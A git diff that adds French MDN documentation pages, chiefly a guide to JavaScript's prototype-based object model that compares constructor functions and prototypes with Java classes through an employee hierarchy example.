+<p>La<a href="/fr/docs/Web/JavaScript/Reference"> référence JavaScript</a> indique les fonctionnalités du langage qui sont conformes à ECMAScript.</p>
+<p>JavaScript inclut toujours des fonctionnalités qui ne font pas partie de la spécification ECMAScript. JavaScript est compatible avec ECMAScript, tout en offrant des fonctionnalités supplémentaires.</p>
+<h3 id="Documentation_de_JavaScript_et_spécification_ECMAScript">Documentation de JavaScript et spécification ECMAScript</h3>
+<p>La spécification ECMAScript est un ensemble d'exigences pour la mise en œuvre ECMAScript. Elle est utile pour savoir si une fonctionnalité JavaScript est prise en charge dans d'autres implémentations ECMAScript. Si vous prévoyez d'écrire du code JavaScript qui utilise des fonctionnalités prises en charge par ECMAScript seulement, alors il vous sera peut-être nécessaire de revoir la spécification ECMAScript.<br>
+ <br>
+ Le document ECMAScript n'est pas destiné à aider les programmeurs de script : c'est le but de la documentation JavaScript.</p>
+<h3 id="Terminologie_JavaScript_et_ECMAScript">Terminologie JavaScript et ECMAScript</h3>
+<p>La spécification ECMAScript utilise une syntaxe et une terminologie qui peuvent ne pas être familières à un programmeur JavaScript. Bien que la description du langage puisse varier en ECMAScript, le langage lui-même reste le même. JavaScript prend en charge toutes les fonctionnalités décrites dans la spécification ECMAScript.</p>
+<p>La documentation JavaScript décrit les aspects du langage qui sont appropriés pour un programmeur JavaScript. Par exemple :</p>
+<ul>
+ <li>L'objet global n'est pas abordé dans la documentation JavaScript parce qu'il n'a pas à être utilisé directement. Les méthodes et propriétés de l'objet global, que vous utilisez, sont abordées dans la documentation de JavaScript, mais sont appelées fonctions et propriétés de plus haut niveau (<em>top-level</em>).</li>
+ <li>Le constructeur sans paramètre des objets <code>Number</code> et <code>String</code> ne sont pas abordés dans la documentation JavaScript, parce que le résultat est peu utile. Un constructeur <code>Number</code> appelé sans argument retourne +0, et un constructeur <code>String</code> sans argument retourne "" (une chaine de caractères vide).</li>
+</ul>
+<p style="text-align: right;"><span style="float: left;"><a href="/fr/docs/Web/JavaScript/Guide/Apropos">« Précédent</a>  </span><a href="/fr/docs/JavaScript/Guide/Valeurs,_variables,_et_litt%C3%A9raux">Suivant »</a></p>
+<p style="margin-left: 40px;"> </p>
diff --git a/files/fr/web/javascript/guide/le_modèle_objet_javascript_en_détails/index.html b/files/fr/web/javascript/guide/le_modèle_objet_javascript_en_détails/index.html
new file mode 100644
index 0000000000..50a78fdf27
--- /dev/null
+++ b/files/fr/web/javascript/guide/le_modèle_objet_javascript_en_détails/index.html
@@ -0,0 +1,747 @@
+---
+title: Le modèle objet JavaScript en détails
+slug: Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails
+tags:
+  - Guide
+  - Intermediate
+  - JavaScript
+  - Object
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}</p>
+
+<p class="summary">JavaScript est un langage objet basé sur des prototypes plus que sur des classes. Cette différence peut rendre difficile la compréhension des hiérarchies entre objets, leurs créations, l’héritage de propriétés et de leurs valeurs... L’objectif de ce chapitre est de clarifier ces différents éléments en expliquant le modèle prototypal et ses différences avec un système de classes.</p>
+
+<p>Avant de lire ce chapitre, il est conseillé d’avoir quelques bases en JavaScript, notamment en ayant déjà écrit quelques fonctions et manipulé des objets.</p>
+
+<h2 id="Langages_de_prototypes_Langages_de_classes">Langages de prototypes / Langages de classes</h2>
+
+<p>Les langages orientés objet basés sur des classes, comme Java ou C++, se fondent sur deux entités principales distinctes : les classes et les instances.</p>
+
+<ul>
+ <li>Une <em>classe</em> définit l’ensemble des propriétés (que ce soit les méthodes et les attributs en Java, ou les membres en C++) caractérisant un certain ensemble d’objets. Une classe est une représentation abstraite et non pas la représentation particulière d'un membre de cet ensemble d'objets. Par exemple, la classe <code>Employé</code> permettrait de représenter l’ensemble de tous les employés.</li>
+ <li>Une <em>instance</em> correspond à l’instanciation d'une classe. C’est un de ses membres. Ainsi,<code> Victoria</code> pourrait être une instance de la classe <code>Employé</code> et représenterait un individu en particulier comme un employé. Une instance possède exactement les mêmes propriétés que sa classe (ni plus ni moins).</li>
+</ul>
+
+<p>Un langage basé sur des prototypes, comme JavaScript, n’utilise pas cette distinction. Il ne possède que des objets. On peut avoir des objets <em>prototypiques</em> qui sont des objets agissant comme un modèle sur lequel on pourrait obtenir des propriétés initiales pour un nouvel objet. Tout objet peut définir ses propres propriétés, que ce soit à l’écriture ou pendant l’exécution. De plus, chaque objet peut être associé comme le <em>prototype</em> d’un autre objet, auquel cas le second objet partage les propriétés du premier.</p>
+
+<h3 id="La_définition_dune_classe">La définition d'une classe</h3>
+
+<p>Dans les langages de classes, on doit définir une classe dans une <em>définition de classe</em>. Dans cette définition, on peut inclure certaines méthodes spéciales, comme les <em>constructeurs</em> qui permettent de créer de nouvelles instances de cette classe. Un constructeur permet de définir certaines valeurs initiales pour des propriétés de l’instance et d’effectuer certains traitements lors de la création d’une instance. L’opérateur <code>new</code>, utilisé avec le constructeur, permet de créer de nouvelles instances.</p>
+
+<p>Le fonctionnement de JavaScript est similaire. En revanche, il n’y a pas de différence entre la définition de la classe et le constructeur. La fonction utilisée pour le constructeur permet de créer un objet avec un ensemble initial de propriétés et de valeurs. Toute fonction JavaScript peut être utilisée comme constructeur. L’opérateur <code>new</code> doit être utilisé avec un constructeur pour créer un nouvel objet.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Bien qu'ECMAScript 2015 introduise <a href="/fr/docs/Web/JavaScript/Reference/Classes">une déclaration de classe</a>, celle-ci n'est qu'un sucre syntaxique utilisant l'héritage à base de prototype. Cette nouvelle syntaxe n'introduit pas de nouveau paradigme d'héritage objet au sein de JavaScript.</p>
+</div>
+
+<h3 id="Classes-filles_et_héritage">Classes-filles et héritage</h3>
+
+<p>Dans un langage de classes, on peut créer une hiérarchie de classes à travers la définition de classe. En effet, dans cette définition, on peut préciser si la nouvelle classe est une classe-fille d'une classe existante. La classe-fille hérite alors des propriétés de la classe-parente et peut ajouter de nouvelles propriétés ou modifier les propriétés héritées. Si, par exemple, la classe <code>Employé</code> comprend les propriétés <code>nom</code> et <code>branche</code> et que <code>Manager</code> est une classe-fille de la classe <code>Employee</code> qui ajoute la propriété <code>rapports</code>. Dans cet exemple, une instance de la classe <code>Manager</code> aurait trois propriétés : <code>nom</code>, <code>branche</code>, et <code>rapports</code>.</p>
+
+<p>En JavaScript, l’héritage permet d’associer un objet prototypique avec n’importe quel constructeur. Ainsi, on peut créer le même exemple <code>Employé</code> — <code>Manager</code> mais on utilisera une terminologie légèrement différente. Tout d’abord, on définit le constructeur (fonction) <code>Employé</code> et on y définit les propriétés <code>nom</code> et <code>branche</code>. Ensuite, on définit le constructeur <code>Manager</code> avec la propriété <code>rapports</code>. Enfin, on assigne un nouvel objet <code>Employé</code> comme <code>prototype</code> dans le constructeur <code>Manager</code>. Ainsi, quand on créera un nouvel objet <code>Manager</code>, il héritera des propriétés <code>nom</code> et <code>branche</code> de l’objet <code>Employé</code>.</p>
+
+<h3 id="Ajouter_ou_retirer_des_propriétés">Ajouter ou retirer des propriétés</h3>
+
+<p>Dans un langage de classe, les classes sont créées durant la compilation et les instanciations de la classe ont lieu durant la compilation ou durant l’exécution. Il n’est pas possible de modifier les propriétés (leur quantité, leurs types) une fois que la classe a été définie. JavaScript, en revanche, permet d’ajouter ou de retirer des propriétés à n’importe quel objet pendant l’exécution. Si une propriété est ajoutée à un objet utilisé comme prototype, tous les objets qui l’utilisent comme prototype bénéficieront de cette propriété.</p>
+
+<h3 id="Résumé_des_différences">Résumé des différences</h3>
+
+<p>Le tableau suivant fournit un rapide récapitulatif de ces différences. Le reste du chapitre décrira l’utilisation de constructeur et de prototypes en JavaScript ainsi que la méthode correspondante qui pourrait être utilisée en Java.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Catégorie</th>
+   <th scope="col">Langage de classe (Java)</th>
+   <th scope="col">Langage de prototype (JavaScript)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Classe ou instance</td>
+   <td>Les classes et les instances sont deux entités distinctes.</td>
+   <td>Tous les objets sont des instances.</td>
+  </tr>
+  <tr>
+   <td>Définition</td>
+   <td>Une classe est définie avec une définition de classe. On instancie une classe avec des méthodes appelées constructeurs</td>
+   <td>On définit et on crée un ensemble d’objets avec des fonctions qui sont des constructeurs.</td>
+  </tr>
+  <tr>
+   <td>Création d'un nouvel objet</td>
+   <td>On crée un seul objet grâce à l’opérateur <code>new</code>.</td>
+   <td>Même chose que pour les langages de classe.</td>
+  </tr>
+  <tr>
+   <td>Construction de la hiérarchie des objets</td>
+   <td>On construit une hiérarchie d’objets en utilisant les définitions des classes pour définir des classes-filles à partir de classes existantes.</td>
+   <td>On construit une hiérarchie d’objets en assignant un prototype à un objet dans le constructeur de cet objet.</td>
+  </tr>
+  <tr>
+   <td>Modèle d'héritage</td>
+   <td>Les objets héritent des propriétés appartenant à la chaîne des classes de la hiérarchie.</td>
+   <td>Les objets héritent des propriétés appartenant à la chaîne des prototypes de la hiérarchie.</td>
+  </tr>
+  <tr>
+   <td>Ajout de propriétés</td>
+   <td>La définition de la classe définit exactement toutes les propriétés de toutes les instances d’une classe. Il est impossible d’ajouter des propriétés dynamiquement pendant l’exécution.</td>
+   <td>Le constructeur ou le prototype définit un ensemble de propriétés initiales. Il est possible d’ajouter ou de retirer des propriétés dynamiquement, pour certains objets en particuliers ou bien pour l’ensemble des objets.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="L’exemple_de_l’employé">L’exemple de l’employé</h2>
+
+<p>La suite de ce chapitre expliquera la hiérarchie objet suivante, modélisant un système avec différents employés :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p>
+
+<p><small><strong>Une hiérarchie objet basique</strong></small></p>
+
+<p>Cet exemple utilisera les objets suivants :</p>
+
+<ul>
+ <li><code>Employé</code> qui possède la propriété <code>nom</code> (dont la valeur par défaut est la chaîne de caractères vide) et <code>branche</code> (dont la valeur par défaut est "commun").</li>
+ <li><code>Manager</code> qui est basé sur <code>Employé</code>. La propriété <code>rapports</code> est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli d’objets<code> Employés</code>).</li>
+ <li><code>Travailleur</code> est également basé sur <code>Employé</code>. La propriété <code>project</code> est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli de chaînes de caractères).</li>
+ <li><code>Vendeur</code> est basé sur <code>Travailleur. </code>La propriété <code>quota</code> est ajoutée (la valeur par défaut est 100). La propriété <code>branche</code> est surchargée et vaut "ventes", indiquant que tous les vendeurs font partie du même département.</li>
+ <li><code>Ingénieur</code> est basé sur <code>Travailleur</code>. La propriété <code>moteur</code> est ajoutée (la valeur par défaut est la chaîne vide) et la propriété <code>branche</code> est surchargée avec la valeur "ingénierie".</li>
+</ul>
+
+<h2 id="La_création_de_la_hiérarchie">La création de la hiérarchie</h2>
+
+<p>Plusieurs fonctions utilisées comme constructeurs peuvent permettre de définir la hiérarchie souhaitée. La façon que vous utiliserez dépendra des fonctionnalités que vous souhaitez avoir dans votre application.</p>
+
+<p>On utilise ici des définitions très simples (et peu adaptables) permettant de montrer le fonctionnement de l’héritage. Grâce à ces définitions fournies, on ne peut pas définir des valeurs spécifiques pour les propriétés lors de la création de l’objet. Les objets créés reçoivent les valeurs par défaut, les propriétés pourront être changées par la suite.</p>
+
+<p>Pour une application réelle, on définirait des constructeurs permettant de fixer les valeurs des propriétés lors de la création (voir <a href="#Des_constructeurs_plus_flexibles">Des constructeurs plus flexibles</a>). Ici, ces définitions nous permettent d’observer l’héritage.</p>
+
+<div class="note">
+<p>Attention, quand on assigne une fonction directement à NomFonction.prototype, cela retire la propriété « constructeur » du prototype original. Ainsi, (new Travailleur).constructor renverra un <code>Employé</code> (et non pas <code>Travailleur</code>). Il faut faire attention à la façon de conserver le constructeur original du prototype. On peut, par exemple, l'assigner à NomFonction.prototype.__proto__. Dans notre exemple, on aurait ainsi, Travailleur.prototype.__proto__ = new Employé; de cette façon : (new Travailleur).constructor renvoie bien « Travailleur ».</p>
+</div>
+
+<p>Les définitions d’<code>Employé</code> suivantes, en Java et JavaScript sont assez semblables. Les seules différences proviennent du typage nécessaire : avec Java, il est nécessaire de préciser le type des propriétés alors que ce n’est pas le cas en JavaScript. En Java, il est également nécessaire de créer une méthode constructeur à part dans la classe.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employé () {
+  this.nom = "";
+  this.branche = "commun";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employé {
+   public String nom;
+   public String branche;
+   public Employé () {
+      this.nom = "";
+      this.branche = "commun";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les définitions de <code>Manager</code> et <code>Travailleur</code> permettent de voir la différence dans les façons de définir un objet plus loin dans la relation d’héritage. En JavaScript, il faut ajouter une instance prototypique comme valeur de la propriété <code>prototype</code> de la fonction constructeur (autrement dit, on définit la valeur de la propriété <code>prototype</code> de la fonction, en utilisant une instance du prototype utilisé puis en surchargeant <code>prototype.constructor</code>). On peut faire cela à n’importe quel moment après la définition du constructeur. Avec Java, on définit la classe mère au sein de la définition de la classe et il n’est pas possible de définir cette relation en dehors de la définition de la classe.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Manager () {
+  this.rapports = [];
+}
+Manager.prototype = new Employé;
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Manager extends Employé {
+   public Employé[] rapports;
+   public Manager () {
+      this.rapports = new Employé[0];
+   }
+}
+
+public class Travailleur extends Employé {
+   public String[] projets;
+   public Travailleur () {
+      this.projets = new String[0];
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les définitions d’<code>Ingénieur</code> et de <code>Vendeur</code> permettent de créer des objets qui héritent de <code>Travailleur</code> et donc, implicitement, de <code>Employé</code>. Un objet d’un de ces deux types possède les propriétés de tous les objets présents plus haut dans l’héritage. De plus, dans notre exemple, les définitions de ces types surchargent les valeurs de la propriété <code>branche</code> avec des valeurs spécifiques.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Vendeur () {
+   this.branche = "ventes";
+   this.quota = 100;
+}
+Vendeur.prototype = new Travailleur;
+
+function Ingénieur () {
+   this.branche = "ingénierie";
+   this.moteur = "";
+}
+Ingénieur.prototype = new Travailleur;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Vendeur extends Travailleur {
+   public double quota;
+   public Vendeur () {
+      this.branche = "ventes";
+      this.quota = 100.0;
+   }
+}
+
+public class Ingénieur extends Travailleur {
+   public Ingénieur () {
+      this.branche = "ingénierie";
+      this.moteur = "";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Grâce à ces définitions, on peut créer des instances pour ces objets qui auront les valeurs par défaut pour leurs propriétés. Le schéma suivant montre comment utiliser ces définitions en JavaScript et illustre les propriétés des objets ainsi créés.</p>
+
+<div class="note">
+<p>Le terme <em><em>instance</em></em> possède un sens particulier, au niveau technique, pour les langages de classes. Pour ces langages, une instance est le résultat de l’instanciation d’une classe en un objet (qui sera un « exemplaire » de cette classe), le concept d’instance est donc fondamentalement différent du concept de classe. En JavaScript, une « instance » ne possède pas de sens technique particulier, ceci est notamment dû au fait qu'il n’y a pas d’opposition entre ces concepts (car il n’y a pas de classe). Cependant, le terme instance peut parfois être utilisé, en JavaScript, pour désigner un objet qui aurait été créé en utilisant un constructeur. De la même façon, les mots <em><em>parent</em>, <em>enfant</em>, <em>ancêtre</em></em>, et <em><em>descendant</em></em> n’ont pas de signification formelle en JavaScript, mais ils peuvent être utilisés pour faire référence aux différents objets appartenant aux différents niveaux de la chaîne de prototypes.</p>
+</div>
+
+<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"><strong>Créer des objets avec des définitions simples</strong></p>
+
+<h2 id="Les_propriétés_d’un_objet">Les propriétés d’un objet</h2>
+
+<p>Dans cette section, nous verrons comment les objets héritent des propriétés d’autres objets de la chaîne de prototypes et de ce qui se passe quand on ajoute une propriété lors de l’exécution.</p>
+
+<h3 id="L’héritage_de_propriétés">L’héritage de propriétés</h3>
+
+<p>Imaginons qu’on souhaite créer un objet <code>marc</code> qui est un <code>Travailleur </code>:</p>
+
+<pre class="brush: js">var marc = new Travailleur;
+</pre>
+
+<p>Lorsque JavaScript rencontre l’opérateur <code>new</code>, un objet générique est créé, ce nouvel objet est passé comme valeur de <code>this</code> à la fonction constructeur de <code>Travailleur</code>. Le constructeur définit ensuite la valeur de la propriété <code>projets</code> puis il définit implicitement la valeur de la propriété interne <code>[[Prototype]]</code> avec la valeur de <code>Travailleur.prototype</code>. (Le nom de cette propriété commence et finit par deux tirets bas.) La propriété <code>__proto__</code> détermine la chaîne de prototypes utilisée pour renvoyer les valeurs des propriétés qu’on pourrait utiliser. Quand ces propriétés sont définies, JavaScript renvoie le nouvel objet, l’instruction d’assignation assigne alors la variable <code>marc</code> à cet objet.</p>
+
+<p>En utilisant ce procédé, on n’introduit pas de valeurs spécifiques pour les propriétés de <code>marc</code> dont il hérite via la chaîne de prototypes. Si on utilise une valeur d'une de ces propriétés, JavaScript vérifiera tout d’abord si elle appartient à l'objet : si c’est le cas, la valeur est renvoyée. Sinon, JavaScript remonte dans la chaîne de prototypes en utilisant la propriété <code>__proto__</code>. Si un objet de cette chaîne possède une valeur pour cette propriété, la valeur est renvoyée. Si aucune propriété n’est trouvée, JavaScript indique que l’objet ne possède pas cette propriété. Ainsi pour l’objet <code>marc</code> : on aura les propriétés suivantes avec les valeurs respectives :</p>
+
+<pre class="brush: js">marc.nom = "";
+marc.branche = "commun";
+marc.projets = [];
+</pre>
+
+<p>L’objet <code>marc</code> hérite des valeurs des propriétés <code>nom</code> et <code>branche</code> via le constructeur <code>Employé</code>. Il y a une valeur locale pour la propriété <code>projets</code> grâce au constructeur <code>Travailleur</code>.</p>
+
+<p>Ces constructeurs ne permettent pas de fournir des valeurs spécifiques, l’information créée est générique pour chaque objet. Les valeurs des propriétés sont celles par défaut, comme pour tous les autres objets créés à partir de <code>Travailleur</code>. On peut, bien sûr, changer les valeurs de ces propriétés pour fournir des valeurs spécifiques :</p>
+
+<pre class="brush: js">marc.nom = "Marc Dupont";
+marc.branche = "admin";
+marc.projets = ["navigateur"];</pre>
+
+<h3 id="L’ajout_de_propriétés">L’ajout de propriétés</h3>
+
+<p>En JavaScript, on peut ajouter des propriétés lors de l’exécution et on peut utiliser des propriétés qui ne seraient pas définies par le constructeur. Afin d’ajouter une propriété à un objet donné, on assigne une valeur de la façon suivante :</p>
+
+<pre class="brush: js">marc.bonus = 3000;
+</pre>
+
+<p>Désormais, l’objet <code>marc</code> possède la propriété <code>bonus</code>. En revanche, aucun autre <code>Travailleur</code> ne possède cette propriété.</p>
+
+<p>Si on ajoute une nouvelle propriété à un objet qui est utilisé comme prototype pour un constructeur, alors tous les objets créés à partir de ce constructeur bénéficieront de cette propriété grâce à l’héritage. Ainsi, on peut ajouter une propriété <code>spécialité</code> à tous les employés grâce à l’instruction suivante :</p>
+
+<pre class="brush: js">Employé.prototype.spécialité = "aucune";
+</pre>
+
+<p>Dès que l’instruction est exécutée par JavaScript, l’objet <code>marc</code> possèdera aussi la propriété <code>spécialité</code> initialisée avec la valeur <code>"aucune"</code>. Le schéma suivant décrit l’effet de cet ajout puis de la surcharge de cette propriété pour le prototype <code>Ingénieur</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <small><strong>Ajouter des propriétés</strong></small></p>
+
+<h2 id="Des_constructeurs_plus_flexibles">Des constructeurs plus flexibles</h2>
+
+<p>Les fonctions constructeur utilisées jusqu’à présent ne permettaient pas de définir les valeurs des propriétés à la création d’une instance. De la même façon qu’en Java, il est possible d’utiliser des arguments pour ces fonctions afin d’initialiser les valeurs des propriétés des instances.</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <small><strong>Définir les propriétés grâce au constructeur</strong></small></p>
+
+<p>Le tableau suivant montre les définitions de ces objets en JavaScript et en Java.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employé (nom, branche) {
+  this.nom = nom || "";
+  this.branche = branche || "commun";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employé {
+   public String nom;
+   public String branche;
+   public Employé () {
+      this("", "commun");
+   }
+   public Employé (String nom) {
+      this(nom, "commun");
+   }
+   public Employé (String nom, String branche) {
+      this.nom = nom;
+      this.branche = branche;
+   }
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Travailleur (projs) {
+  this.projets = projs || [];
+}
+Travailleur.prototype = new Employé;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Travailleur extends Employé {
+   public String[] projets;
+   public Travailleur () {
+      this(new String[0]);
+   }
+   public Travailleur (String[] projs) {
+      this.projets = projs;
+   }
+}
+
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+
+function Ingénieur (moteur) {
+   this.branche = "ingénierie";
+   this.moteur = moteur || "";
+}
+Ingénieur.prototype = new Travailleur;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Ingénieur extends Travailleur {
+   public String moteur;
+   public Ingénieur () {
+      this.branche = "ingénierie";
+      this.moteur = "";
+   }
+   public Ingénieur (String moteur) {
+      this.branche = "ingénierie";
+      this.moteur = moteur;
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les définitions JavaScript présentées ci-dessus utilisent une instruction qui peut paraître étrange pour avoir des valeurs par défaut :</p>
+
+<pre class="brush: js">this.nom = nom || "";
+</pre>
+
+<p>L’opérateur correspondant au OU logique en JavaScript (||) évalue le premier argument. Si cet argument peut être converti en <code>true</code>, alors l’opérateur renverra cet argument. Sinon, il renvoie la valeur du second argument. Ainsi, en utilisant ce code, on teste si la valeur fournie (<code>nom</code>) est utile ou non : si c’est le cas, on l’utilise pour la propriété, sinon on conserve la valeur par défaut (ici la chaîne vide). Cet exemple peut paraître déroutant mais permet d’être plus concis.</p>
+
+<div class="note">
+<p>Attention, cela peut ne pas fonctionner comme souhaité si le constructeur est appelé avec des arguments qui seront convertis à <code><code>false</code></code> (comme <code>0</code> (zéro) et la chaîne de caractère vide (<code><code>""</code></code>). Si ces valeurs sont utilisées, la valeur par défaut sera prise en compte.</p>
+</div>
+
+<p>Grâce à ces définitions, on peut créer une instance d’un objet en utilisant des valeurs spécifiques pour les propriétés. On peut par exemple utiliser :</p>
+
+<pre class="brush: js">var jeanne = new Ingénieur("carnot");</pre>
+
+<p>Les propriétés de l’objet sont donc désormais :</p>
+
+<pre class="brush: js">jeanne.nom == "";
+jeanne.branche == "ingénierie";
+jeanne.projets == [];
+jeanne.moteur == "carnot"
+</pre>
+
+<p>On peut remarquer qu’avec ces définitions, on ne peut pas définir de valeur initiale pour les propriétés provenant de l’héritage, comme <code>nom</code> ici. Si on souhaite définir des valeurs initiales pour ces propriétés, il faut modifier légèrement le constructeur.</p>
+
+<p>Jusqu’à présent, le constructeur utilisé permettait de créer un objet générique puis de créer des propriétés et de spécifier leurs valeurs pour le nouvel objet. On peut utiliser un constructeur afin de définir des valeurs spécifiques pour les autres propriétés plus hautes dans l’héritage. Pour ce faire, on appelle le constructeur de l’objet plus haut dans l’héritage au sein même du constructeur de l’objet courant.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>La définition de propriétés héritées dans un constructeur</strong></small></p>
+
+<p>Ainsi, le constructeur de <code>Ingénieur</code> sera :</p>
+
+<pre class="brush: js">function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+</pre>
+
+<p>Si on crée ensuite un objet <code>Ingénieur</code> de cette façon :</p>
+
+<pre class="brush: js">var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+</pre>
+
+<p>L’exécution du code entraînera les étapes suivantes :</p>
+
+<ol>
+ <li>La création d’un objet générique avec l'opérateur <code>new</code> qui assigne la valeur <code>Ingénieur.prototype</code> à la propriété <code>__proto__</code>.</li>
+ <li>L'opérateur <code>new</code> passe ensuite l’objet au constructeur <code>Ingénieur</code> comme valeur du mot-clé <code>this</code>.</li>
+ <li>Le constructeur crée une nouvelle propriété, appelée <code>base</code>, pour cet objet. Cette propriété reçoit la valeur du constructeur <code>Travailleur</code>. Ainsi le constructeur <code>Travailleur</code> devient une méthode de l’objet <code>Ingénieur</code>. Le nom de cette propriété <code>base</code> n’est pas spécial, on pourrait utiliser un autre nom pour cette propriété (sous réserve qu’il soit valide).</li>
+ <li>
+  <p>Le constructeur appelle la méthode <code>base</code> et lui passe deux arguments qui avaient été passés (<code>"Jeanne Dubois"</code> et <code>["navigateur", "javascript"]</code>), ainsi que la chaîne de caractères <code>"ingénierie"</code>. Le fait d’utiliser <code>"ingénierie"</code> explicitement indique que tous les objets <code>Ingénieur</code> auront la même valeur pour la propriété <code>branche</code> qui aura été héritée. Cela permet également de surcharger la valeur par défaut héritée de <code>Employé</code>.</p>
+ </li>
+ <li>
+  <p><code>base</code> étant une méthode d'<code>Ingénieur</code>, lors de l'appel de cette fonction, le mot clé <code>this</code> aura été lié à l'objet créé en 1. Ainsi, la fonction <code>Travailleur</code> passera les arguments <code>"Jeanne Dubois"</code> et <code>"ingénierie"</code> au constructeur <code>Employé</code>. Une fois que la fonction constructeur <code>Employé</code> a renvoyé un résultat, la fonction <code>Travailleur</code> utilise l'argument restant pour donner la valeur à la propriété <code>projets</code>.</p>
+ </li>
+ <li>Une fois que la méthode <code>base</code> a renvoyé un résultat, le constructeur <code>Ingénieur</code> initialise la propriété <code>moteur</code> avec la valeur <code>"carnot"</code>.</li>
+ <li>Lorsque le constructeur renvoie le résultat, il est assigné à la variable <code>jeanne</code>.</li>
+</ol>
+
+<p>On peut penser qu’un simple appel au constructeur <code>Travailleur</code>, dans le constructeur <code>Ingénieur</code> permette de définir l'héritage pour les objets <code>Ingénieur</code>. Attention, ce n’est pas le cas. Un simple appel au constructeur <code>Travailleur</code> permet de bien définir les valeurs des propriétés spécifiées dans les constructeurs appelés. En revanche, si plus tard on souhaite ajouter des propriétés aux prototypes <code>Employé</code> ou <code>Travailleur</code> : l'objet <code>Ingénieur</code> n’en héritera pas. Si par exemple on a :</p>
+
+<pre class="brush: js">function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+Employé.prototype.spécialité = "aucune";
+</pre>
+
+<p>L'objet <code>jeanne</code> n’héritera pas de la propriété <code>spécialité</code>. Il aurait fallu préciser le prototype pour s'assurer de l'héritage dynamique. Si on a plutôt :</p>
+
+<pre class="brush: js">function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+Ingénieur.prototype= new Travailleur;
+var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
+Employé.prototype.spécialité = "aucune";
+</pre>
+
+<p>Alors la valeur de la propriété <code>spécialité</code> de <code>jeanne</code> sera "aucune".</p>
+
+<p>Une autre façon d’utiliser l’héritage dans un constructeur peut être d'utiliser les méthodes <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/call"><code>call()</code></a> et <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/apply"><code>apply()</code></a>. Les deux fragments de codes présentés ici sont équivalents :</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Ingénieur (nom, projets, moteur) {
+  this.base = Travailleur;
+  this.base(nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: js">
+function Ingénieur (nom, projets, moteur) {
+  Travailleur.call(this, nom, "ingénierie", projets);
+  this.moteur = moteur || "";
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En utilisant la méthode <code>call()</code> on obtient une syntaxe plus claire car on n’utilise plus la propriété intermédiaire <code>base</code>.</p>
+
+<h2 id="L’héritage_de_propriétés_les_subtilités">L’héritage de propriétés : les subtilités</h2>
+
+<p>Les sections précédentes ont permis de décrire le fonctionnement des constructeurs et des prototypes, notamment par rapport aux hiérarchies d’objets et à l’héritage. L’objectif de cette section est de couvrir un peu plus en profondeur certaines facettes de l'héritage qui n’étaient pas détaillées avant.</p>
+
